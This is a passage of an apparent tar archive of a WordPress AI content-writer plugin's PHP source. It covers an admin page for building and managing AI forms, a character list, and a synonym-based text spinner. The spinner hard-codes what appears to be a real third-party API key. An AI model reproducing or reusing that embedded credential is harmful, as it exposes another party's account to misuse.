foreach($all_models as $modl) { echo '<li>- ' . $modl . esc_html(aiomatic_get_model_provider($modl)) . '</li>'; } ?> </ul></p> </div> <div id="tab-2" class="tab-content"> <br/> <form action="#" method="post" id="aiomatic_forms_form"> <input type="hidden" name="action" value="aiomatic_forms"> <input type="hidden" name="nonce" value="<?php echo wp_create_nonce('aiomatic_forms');?>"> <h1><strong><?php echo esc_html__("Add a new form:", 'aiomatic-automatic-ai-content-writer');?></strong></h1> <div class="main-form-header-holder"><h2><?php echo esc_html__("Input Fields", 'aiomatic-automatic-ai-content-writer');?>:</h2><span class="header-al-right"><?php echo esc_html__("Hide Input Fields", 'aiomatic-automatic-ai-content-writer');?></span></div> <div class="main-form-holder"> <button id="aiomatic-create-form-field" class="button"><?php echo esc_html__("Add A New Form Input Field", 'aiomatic-automatic-ai-content-writer');?></button> <br/><br/> <div class="aiomatic-template-fields"></div> </div> <hr/> <h2><?php echo esc_html__("Form Options", 'aiomatic-automatic-ai-content-writer');?>:</h2> <h4><?php echo esc_html__("Type*", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the type of this form.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <select id="aiomatic-type" name="aiomatic-type" required class="aiomatic-create-template-field-type aiomatic-full-size" onchange="aiomatic_type_changed();"> <option value="text"><?php echo esc_html__("Text", 'aiomatic-automatic-ai-content-writer');?></option> <option value="image"><?php echo esc_html__("Dall-E 2 Image", 'aiomatic-automatic-ai-content-writer');?></option> <option value="image-new"><?php echo esc_html__("Dall-E 3 Image", 'aiomatic-automatic-ai-content-writer');?></option> <?php if (isset($aiomatic_Main_Settings['stability_app_id']) && trim($aiomatic_Main_Settings['stability_app_id']) != '') { echo '<option value="image2">' . esc_html__("Stable Diffusion Image", 'aiomatic-automatic-ai-content-writer') . '</option>'; } if (isset($aiomatic_Main_Settings['midjourney_app_id']) && trim($aiomatic_Main_Settings['midjourney_app_id']) != '') { echo '<option value="image-mid">' . esc_html__("Midjourney Image", 'aiomatic-automatic-ai-content-writer') . '</option>'; } ?> </select> <br/> <h4><?php echo esc_html__("Title*", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the title of this form.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <input id="aiomatic-form-title" name="aiomatic-form-title" class="aiomatic-full-size" placeholder="Your form name" required> <br/> <h4><?php echo esc_html__("Description", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the description of this form.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <textarea id="aiomatic-form-description" name="aiomatic-form-description" class="aiomatic-full-size" placeholder="Your form description"></textarea> <br/> <h4><?php echo esc_html__("Prompt*", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the prompt which will be sent to the AI content writer. You can use shortcodes to get the input values entered by users in the form. The shortcodes need to be in the following format: %%ID_of_the_input_field%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <textarea id="aiomatic-form-prompt" name="aiomatic-form-prompt" class="aiomatic-full-size" placeholder="The prompt which will be sent to the AI content writer" required></textarea> <br/> <h4><?php echo esc_html__("Sample Response", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set an example response for this form, this can be shown to users.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <textarea name="aiomatic-form-response" id="aiomatic-form-response" class="aiomatic-full-size" placeholder="A sample response to show for this form"></textarea> <hr/> <div class="hide-when-not-text"> <h2><?php echo esc_html__("AI API Options", 'aiomatic-automatic-ai-content-writer');?>:</h2> <h4><?php echo esc_html__("AI Assistant ID*", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI assistant ID to be used for this form.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <select name="aiomatic-form-assistant-id" class="aiomatic-create-template-field-type aiomatic-full-size"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> <br/><h4><?php echo esc_html__("AI Model*", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI model to be used for this form.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <select name="aiomatic-form-model" class="aiomatic-create-template-field-type aiomatic-full-size"> <?php foreach($all_models as $modl) { echo '<option value="' . $modl . '">' . $modl . esc_html(aiomatic_get_model_provider($modl)) . '</option>'; } ?> </select> <br/><h4><?php echo esc_html__("Response Streaming*", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable response streaming for your AI form.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <select name="aiomatic-form-stream" class="aiomatic-create-template-field-type aiomatic-full-size"> <option value="stream"><?php echo esc_html__("Enabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="0"><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> </select> <br/> <br/> <button id="aiomatic-show-hide-field" class="button"><?php echo esc_html__("Show/Hide Advanced Model Settings", 'aiomatic-automatic-ai-content-writer');?></button> <br/> <div class="aiomatic-hidden-form" id="hideAdv"> <h4><?php echo esc_html__("Max Token Count", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the AI maximum token count of this form.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <input type="number" min="1" max="128000" step="1" name="aiomatic-max" value="" placeholder="Maximum token count to be used" class="cr_width_full"> <br/> <h4><?php echo esc_html__("Temperature", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the AI temperature of this form.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <input type="number" min="0" max="2" step="0.01" name="aiomatic-temperature" value="" placeholder="AI Temperature" class="cr_width_full"> <br/> <h4><?php echo esc_html__("Top_p", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the AI top_p parameter of this form.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <input type="number" min="0" max="1" step="0.01" name="aiomatic-topp" value="" placeholder="AI Top_p" class="cr_width_full"> <br/> <h4><?php echo esc_html__("Presence Penalty", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the AI presence penalty parameter of this form.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <input type="number" min="-2" step="0.01" max="2" name="aiomatic-presence" value="" placeholder="AI Presence Penalty" class="cr_width_full"> <br/> <h4><?php echo esc_html__("Frequency Penalty", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the AI frequency penalty parameter of this form.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <input type="number" min="0" max="2" step="0.01" name="aiomatic-frequency" value="" placeholder="AI Frequency penalty" class="cr_width_full"> </div> <hr/> </div> <h2><?php echo esc_html__("Front End Options", 'aiomatic-automatic-ai-content-writer');?>:</h2> <h4><?php echo esc_html__("Show Header On Front End*", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show the form header to users.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <select name="aiomatic-header" class="aiomatic-create-template-field-type aiomatic-full-size"> <option value="show" selected><?php echo esc_html__("Show", 'aiomatic-automatic-ai-content-writer');?></option> <option value="hide"><?php echo esc_html__("Hide", 'aiomatic-automatic-ai-content-writer');?></option> </select> <br/> <h4 class="hide-when-not-text"><?php echo esc_html__("Display AI Form Results In", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show the form results in a modern WP Editor instead of a plain textarea.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <select name="aiomatic-editor" class="hide-when-not-text aiomatic-create-template-field-type aiomatic-full-size"> <option value="textarea" selected><?php echo esc_html__("Textarea", 'aiomatic-automatic-ai-content-writer');?></option> <option value="wpeditor"><?php echo esc_html__("WP Editor", 'aiomatic-automatic-ai-content-writer');?></option> </select> <br class="hide-when-not-text"/> <h4 class="hide-when-not-text"><?php echo esc_html__("Show Advanced Form Options", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show the advanced form options to users.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <select name="aiomatic-advanced" class="hide-when-not-text aiomatic-create-template-field-type aiomatic-full-size"> <option value="hide" selected><?php echo esc_html__("Hide", 'aiomatic-automatic-ai-content-writer');?></option> <option value="show"><?php echo esc_html__("Show", 'aiomatic-automatic-ai-content-writer');?></option> </select> <br class="hide-when-not-text"/> <h4><?php echo esc_html__("Submit Button Text*", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the submit button text of this form.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <input id="aiomatic-submit" name="aiomatic-submit" value="Submit" class="aiomatic-full-size" placeholder="Submit" required> <br/><br/> <button id="aiomatic-form-save-button" class="button button-primary"><?php echo esc_html__("Save", 'aiomatic-automatic-ai-content-writer');?></button> <div class="aiomatic-forms-success"></div> </form> </div> <div id="tab-4" class="tab-content"> <br/> <?php $aiomaticMaxFileSize = wp_max_upload_size(); ?> <div class="aiomatic-loader-bubble"> <h3 class="margin5"><?php echo esc_html__("Import Forms From File", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Hit this button and you can restore forms from file.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h3> <div class="aiomatic_form_upload_form"> <table class="form-table"> <tbody> <tr> <th scope="row"><?php echo esc_html__("Backup File (*.json)", 'aiomatic-automatic-ai-content-writer'); ?></th> <td> <input type="file" id="aiomatic_form_upload" accept=".json"> </td> </tr> <tr> <th scope="row"><?php echo esc_html__("Overwrite Existing", 'aiomatic-automatic-ai-content-writer'); ?></th> <td> <input type="checkbox" id="aiomatic_overwrite" value="on"> </td> </tr> <tr> <td colspan="2"> <div class="aiomatic_upload_success aiomatic_none margin5 colorgr"><?php echo esc_html__("File uploaded successfully you can view it in the form listing tab.", 'aiomatic-automatic-ai-content-writer'); ?></div> <div class="aiomatic_progress aiomatic_none"><span></span><small><?php echo esc_html__("Uploading", 'aiomatic-automatic-ai-content-writer'); ?></small></div> <div class="aiomatic-error-msg"></div> </td> </tr> <tr> <td colspan="2"> <button class="button button-primary coderevolution_block_input" id="aiomatic_form_button"><?php echo esc_html__("Import Forms From File", 'aiomatic-automatic-ai-content-writer');?></button><br> <p class="cr_center"><?php echo esc_html__("Maximum upload file size", 'aiomatic-automatic-ai-content-writer'); ?>: <?php echo size_format($aiomaticMaxFileSize)?> </p> </td> </tr> </tbody> </table> </div> </div> <br/> <div class="aiomatic-loader-bubble"> <div> <h3> <?php echo esc_html__('Download Current Forms To File:', 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Hit this button and you can backup the current forms to file.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </h3> <form method="post" onsubmit="return confirm('Are you sure you want to download forms to file?');"><input name="aiomatic_nonce" type="hidden" value="<?php echo wp_create_nonce('aiomatic_forms');?>"><input name="aiomatic_download_forms_to_file" type="submit" class="button button-primary coderevolution_block_input" value="Download Forms To File"></form> </div> </div> <br/> <div class="aiomatic-loader-bubble"> <h3 class="margin5"><?php echo esc_html__("Import Default Forms", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Hit this button and the plugin will create the default forms which come bundled with the plugin.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h3> <table class="form-table"> <tbody> <tr> <td colspan="2"> <button class="button button-primary coderevolution_block_input" id="aiomatic_form_default_button"><?php echo esc_html__("Import Default Forms", 'aiomatic-automatic-ai-content-writer');?></button><br> </td> </tr> </tbody> </table> </div> </div> <div id="tab-3" class="tab-content"> <br/> <button href="#" id="aiomatic_sync_forms" class="page-title-action"><?php echo esc_html__("Sync Forms", 'aiomatic-automatic-ai-content-writer'); ?></button> <button href="#" id="aiomatic_delete_selected_forms" class="page-title-action"><?php echo esc_html__("Delete Selected Forms", 'aiomatic-automatic-ai-content-writer'); ?></button> <button href="#" id="aiomatic_deleteall_forms" class="page-title-action"><?php echo esc_html__("Delete All Forms", 'aiomatic-automatic-ai-content-writer'); ?></button> <?php $orderby = 'date'; $order = 'DESC'; if (isset($_GET['order']) && in_array(strtolower($_GET['order']), ['asc', 'desc'])) { $order = strtoupper($_GET['order']); } if (isset($_GET['orderby']) && in_array(strtolower($_GET['orderby']), ['title', 'date'])) { $orderby = strtolower($_GET['orderby']); } $aiomatic_form_page = isset($_GET['wpage']) && !empty($_GET['wpage']) ? sanitize_text_field($_GET['wpage']) : 1; $aiomatic_forms = new WP_Query(array( 'post_type' => 'aiomatic_forms', 'posts_per_page' => 40, 'paged' => $aiomatic_form_page, 'order' => $order, 'orderby' => $orderby, 'post_status' => 'any' )); if($aiomatic_forms->have_posts()){ echo '<br><br>' . esc_html__('All forms', 'aiomatic-automatic-ai-content-writer') . ' (' . $aiomatic_forms->found_posts . ')<br>'; } $current_order = filter_input(INPUT_GET, 'order', FILTER_DEFAULT) === 'asc' ? 'desc' : 'asc'; $title_url = add_query_arg([ 'orderby' => 'title', 'order' => $current_order ], $_SERVER['REQUEST_URI']); $date_url = add_query_arg([ 'orderby' => 'date', 'order' => $current_order ], $_SERVER['REQUEST_URI']); ?> <table class="wp-list-table widefat fixed striped table-view-list posts"> <thead> <tr> <th class="manage-column column-cb check-column aiomatic-tdcol" scope="col"><input class="aiomatic-chk" type="checkbox" id="checkedAll"></th> <th scope="col"><a href="<?php echo esc_html($title_url); ?>"><?php echo esc_html__("Title", 'aiomatic-automatic-ai-content-writer'); ?><span class="dashicons <?php if(!isset($_GET['order'])){echo 'cr_none';}else{echo $order === 'ASC' ? 'dashicons-arrow-down' : 'dashicons-arrow-up';} ?>"></span></a></th> <th scope="col"><?php echo esc_html__("Type", 'aiomatic-automatic-ai-content-writer'); ?></th> <th scope="col"><?php echo esc_html__("Shortcode", 'aiomatic-automatic-ai-content-writer'); ?></th> <th scope="col"><?php echo esc_html__("Input Field Count", 'aiomatic-automatic-ai-content-writer'); ?></th> <th scope="col"><a href="<?php echo esc_html($date_url); ?>"><?php echo esc_html__("Date", 'aiomatic-automatic-ai-content-writer'); ?><span class="dashicons <?php if(!isset($_GET['order'])){echo 'cr_none';}else{echo $order === 'ASC' ? 'dashicons-arrow-down' : 'dashicons-arrow-up';} ?>"></span></a></th> <th scope="col"><?php echo esc_html__("Manage", 'aiomatic-automatic-ai-content-writer'); ?></th> </tr> </thead> <tbody> <?php if($aiomatic_forms->have_posts()){ foreach ($aiomatic_forms->posts as $aiomatic_form){ $aiomaticfields = get_post_meta($aiomatic_form->ID, '_aiomaticfields', true); $type = get_post_meta($aiomatic_form->ID, 'type', true); if(!is_array($aiomaticfields)) { $aiomaticfields = array(); } ?> <tr> <td><input class="aiomatic-select-form" id="aiomatic-select-<?php echo $aiomatic_form->ID;?>" type="checkbox" name="ids[]" value="<?php echo $aiomatic_form->ID;?>"></td> <td><a href="<?php echo get_edit_post_link($aiomatic_form->ID);?>" class="aiomatic-form-content"><?php echo esc_html($aiomatic_form->post_title);?></a></td> <td><?php echo esc_html($type);?></td> <td><?php echo '[aiomatic-form id="' . $aiomatic_form->ID . '"]';?></td> <td><?php echo count($aiomaticfields);?></td> <td><?php echo esc_html($aiomatic_form->post_date)?></td> <td> <div class="cr_center"> <button class="button button-small aiomatic_preview_form" id="aiomatic_preview_form_<?php echo $aiomatic_form->ID;?>" data-id="<?php echo $aiomatic_form->ID;?>"><?php echo esc_html__("Preview", 'aiomatic-automatic-ai-content-writer');?></button> <button class="button button-small aiomatic_manage_form" id="aiomatic_manage_form_<?php echo $aiomatic_form->ID;?>" data-id="<?php echo $aiomatic_form->ID;?>"><?php echo esc_html__("Edit", 'aiomatic-automatic-ai-content-writer');?></button> <button class="button button-small aiomatic_duplicate_form" id="aiomatic_duplicate_form_<?php echo $aiomatic_form->ID;?>" data-id="<?php echo $aiomatic_form->ID;?>"><?php echo esc_html__("Duplicate", 'aiomatic-automatic-ai-content-writer');?></button> <button class="button button-small aiomatic_delete_form" id="aiomatic_delete_form_<?php echo $aiomatic_form->ID;?>" delete-id="<?php echo $aiomatic_form->ID;?>"><?php echo esc_html__("Delete", 'aiomatic-automatic-ai-content-writer');?></button> </div> </td> </tr> <?php } } ?> </tbody> </table> <div class="aiomatic-paginate"> <?php echo paginate_links( array( 'base' => admin_url('admin.php?page=aiomatic_shortcodes_panel&wpage=%#%'), 'total' => $aiomatic_forms->max_num_pages, 'current' => $aiomatic_form_page, 'format' => '?wpage=%#%', 'show_all' => false, 'prev_next' => false, 'add_args' => false, )); ?> </div> </div> </div> <?php } ?>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-chars.php������������������������������������������������������������������������������0000644�����������������00000000105�14757771437�0010754 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $xchars = array('​', '‌', 'â€', 'â¢', 'â£', 'â¤'); ?>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-text-spinner.php�����������������������������������������������������������������������0000644�����������������00000015172�14757771437�0012326 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php define("WORD_LIMIT",3); if(!class_exists('PhpTextSpinner')) { class PhpTextSpinner { private $oldContent=""; private $suggestContent=array(); public function spinContentAlt($content){ $this->oldContent=$content; $tmp=explode(" ",$this->oldContent); $c=count($tmp); for($i=0;$i<$c;$i++){ $word=trim($tmp[$i]); $suggestions=""; if(strlen($word)>WORD_LIMIT){ $url="http://freethesaurus.net/suggest.php?q=$word"; $suggestions=$this->getHtmlCodeViaFopen($url); if($suggestions === FALSE) { $suggestions = ''; $this->suggestContent[]=array($word,$suggestions); continue; } $suggestions=str_replace("\r",", ",$suggestions); $suggestions=str_replace("\n",", ",$suggestions); $suggestions=str_replace("\r\n",", ",$suggestions); } $this->suggestContent[]=array($word,$suggestions); } $c=count($this->suggestContent); for($i=0;$i<$c;$i++){ $word=$this->suggestContent[$i][0]; $temp=trim($this->suggestContent[$i][1]); if(strlen($temp)>0){ $code="{"; $tmp=explode(",",$temp); $ce=count($tmp); for($j=0;$j<$ce;$j++){ $opt=trim($tmp[$j]); if(!empty($opt)){ $code.="$opt|"; } } $opt=substr($opt,0,strlen($opt)-1); $code.="}"; $this->oldContent=str_replace($word,$code,$this->oldContent); } } return $this->oldContent; } public function spinContent($content){ $this->oldContent=$content; $tmp=explode(" ",$this->oldContent); $c=count($tmp); $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $headers = array(); $headers[] = "x-rapidapi-key: n5yuFj0HINmshz3BduR7dmPWIdqvp1NDfeYjsnVFNhLdP2V34g";$headers[] = "x-rapidapi-host: wikisynonyms.p.rapidapi.com"; $headers[] = "Accept: application/json"; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); for($i=0;$i<$c;$i++){ $word=trim($tmp[$i]); $suggestions=""; if(strlen($word)>WORD_LIMIT && !preg_match('/[^A-Za-z]/', $word)){ curl_setopt($ch, CURLOPT_URL, "https://wikisynonyms.p.rapidapi.com/".$word); $exec = curl_exec($ch); if($exec === FALSE) { $suggestions = ""; $this->suggestContent[]=array($word,$suggestions); continue; } $json = json_decode($exec); if(isset($json->http) && $json->http == '200') { if(isset($json->terms)) { foreach($json->terms as $terms) { if(!preg_match('/[^A-Za-z0-9\-]/', $terms->term)) { $suggestions .= $terms->term . ', '; } } $suggestions=trim($suggestions, ','); } } } $this->suggestContent[]=array($word, $suggestions); } curl_close($ch); $c=count($this->suggestContent); for($i=0;$i<$c;$i++){ $word=$this->suggestContent[$i][0]; $temp=trim($this->suggestContent[$i][1]); if(strlen($temp)>0){ $code="{"; $tmp=explode(",",$temp); $ce=count($tmp); for($j=0;$j<$ce;$j++){ $opt=trim($tmp[$j]); if(!empty($opt)){ $code.="$opt|"; } } $opt=substr($opt,0,strlen($opt)-1); $code.="}"; $this->oldContent=str_replace($word,$code,$this->oldContent); } } return $this->oldContent; } function runTextSpinnerSingle($content){ $returnArray=array(); $pattern="/{(.*)}/Uis"; preg_match_all($pattern, $content, $returnArray, PREG_SET_ORDER); foreach($returnArray as $return){ $code=$return[0]; $str=$return[1]; $str=substr($str,0,strlen($str)-1); $tmp=explode("|",$str); $c=count($tmp); $rand=rand(0,($c-1)); $word=$tmp[$rand]; $content=str_replace($code,$word,$content); } return $content; } function runTextSpinner($content){ $returnArray=array(); $pattern="/\{[^\{]+?\}/ixsm"; preg_match_all($pattern, $content, $returnArray, PREG_SET_ORDER); foreach($returnArray as $return){ $code=$return[0]; $str=str_replace("{","",$code); $str=str_replace("}","",$str); $tmp=explode("|",$str); $c=count($tmp); $rand=rand(0,($c-1)); $word=$tmp[$rand]; $content=str_replace($code,$word,$content); } $pos=strpos($content,"{"); if($pos===false){ return $content; } else{ return $this->runTextSpinner($content); } } private function getHtmlCodeViaFopen($url){ $returnStr=""; $fp=fopen($url, "r"); if($fp === FALSE) { return FALSE; } while (!feof($fp)) { $returnStr.=fgetc($fp); } fclose($fp); return $returnStr; } } } ?>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-listicle-list.php����������������������������������������������������������������������0000644�����������������00001364171�14757771437�0012456 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_listicle_panel() { $aiomatic_language_names = array( esc_html__("English", 'aiomatic-automatic-ai-content-writer'), esc_html__("Spanish", 'aiomatic-automatic-ai-content-writer'), esc_html__("French", 'aiomatic-automatic-ai-content-writer'), esc_html__("Italian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Afrikaans", 'aiomatic-automatic-ai-content-writer'), esc_html__("Albanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Arabic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Amharic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Armenian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Belarusian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bulgarian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Catalan", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chinese Simplified", 'aiomatic-automatic-ai-content-writer'), esc_html__("Croatian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Czech", 'aiomatic-automatic-ai-content-writer'), esc_html__("Danish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dutch", 'aiomatic-automatic-ai-content-writer'), esc_html__("Estonian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Filipino", 'aiomatic-automatic-ai-content-writer'), esc_html__("Finnish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Galician", 'aiomatic-automatic-ai-content-writer'), esc_html__("German", 'aiomatic-automatic-ai-content-writer'), esc_html__("Greek", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hebrew", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hindi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hungarian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Icelandic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Indonesian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Irish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Japanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Korean", 'aiomatic-automatic-ai-content-writer'), esc_html__("Latvian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lithuanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Norwegian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Macedonian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malay", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maltese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Persian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Polish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Portuguese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Romanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Russian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Serbian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Slovak", 'aiomatic-automatic-ai-content-writer'), esc_html__("Slovenian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swahili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swedish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Thai", 'aiomatic-automatic-ai-content-writer'), esc_html__("Turkish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ukrainian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Vietnamese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Welsh", 'aiomatic-automatic-ai-content-writer'), esc_html__("Yiddish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tamil", 'aiomatic-automatic-ai-content-writer'), esc_html__("Azerbaijani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kannada", 'aiomatic-automatic-ai-content-writer'), esc_html__("Basque", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bengali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Latin", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chinese Traditional", 'aiomatic-automatic-ai-content-writer'), esc_html__("Esperanto", 'aiomatic-automatic-ai-content-writer'), esc_html__("Georgian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Telugu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Gujarati", 'aiomatic-automatic-ai-content-writer'), esc_html__("Haitian Creole", 'aiomatic-automatic-ai-content-writer'), esc_html__("Urdu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Burmese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bosnian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Cebuano", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chichewa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Corsican", 'aiomatic-automatic-ai-content-writer'), esc_html__("Frisian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Scottish Gaelic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hausa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hawaian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hmong", 'aiomatic-automatic-ai-content-writer'), esc_html__("Igbo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Javanese", 